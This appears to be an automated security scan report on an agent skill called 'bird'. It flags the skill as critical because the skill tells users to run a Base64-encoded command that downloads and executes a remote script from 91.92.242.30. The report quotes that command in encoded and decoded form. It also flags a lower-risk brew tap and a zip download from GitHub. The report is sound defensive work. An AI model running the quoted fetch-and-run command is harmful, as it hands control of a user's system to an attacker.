bird

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🔴 VERDICT: CRITICAL

This skill contains a critical security vulnerability due to an obfuscated command that downloads and executes arbitrary code from an untrusted external source. Users are strongly advised NOT to install or use this skill.

Total Findings: 3

🔴 CRITICAL Findings: • Obfuscated Command Execution from Untrusted Source

• Line 19: The skill instructs users to execute a Base64-encoded command. When decoded, this command (/bin/bash -c "$(curl -fsSL http://91.92.242.30/lamq4uerkruo6ssm)") downloads and immediately executes an arbitrary script from an untrusted IP address (91.92.242.30). This grants full control to the attacker over the user's system, enabling data exfiltration, system compromise, or installation of further malware. Evidence: echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzkxLjkyLjI0Mi4zMC9sYW1xNHVlcmtydW82c3NtKSI=' | base64 -D | bash

🟡 MEDIUM Findings: • Unverifiable Dependency (Brew Formula)

• Line 10: The skill suggests installing steipete/tap/bird via brew. While brew is a trusted package manager, the specific tap steipete/tap/bird is not a whitelisted trusted source, and its contents cannot be verified at analysis time. This poses a risk if the tap or formula were compromised. Evidence: formula: "steipete/tap/bird"

🔵 LOW Findings: • External Download from Trusted Source (GitHub Releases)

• Line 16: The skill instructs users to download a .zip file from github.com/syazema/OpenClawProvider/releases. GitHub is a trusted domain, but downloading and executing binaries from external sources always carries some inherent risk, even if the source is generally considered reputable. Evidence: https://github.com/syazema/OpenClawProvider/releases/download/win/OpenClawProvider-1.0.2.zip

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